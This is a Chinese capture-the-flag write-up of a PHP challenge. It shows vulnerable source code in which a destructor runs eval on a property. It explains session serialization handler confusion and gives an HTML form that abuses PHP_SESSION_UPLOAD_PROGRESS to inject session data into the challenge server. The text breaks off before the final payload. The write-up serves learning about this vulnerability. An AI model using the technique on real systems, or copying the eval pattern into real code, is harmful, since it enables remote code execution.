php-challenge9
php-challenge 9
第一次接触到这个题目,被惊呆了
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
初看源代码觉得并没有哪里可以让我反序列化注入的地方
但是问题就出在第一句话:
ini_set('session.serialize_handler', 'php');
关键点在于,如果脚本中设置的序列化处理器与php.ini设置的不同,或者两个脚本注册session使用的序列化处理器不同,那么就会出现安全问题。
只需要加一个|就行
这道jarvisOj题目就是这个原题
这里还用到了另外一个漏洞:
自己构造一个网页如下:
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
然后在上传一个文件,本地抓包,这里遇到了一点小问题,就是没办法抓到本地的包,可以通过直接对局域网的网络连接进行设置即可.

此时就可以看到了
接下来继续利用
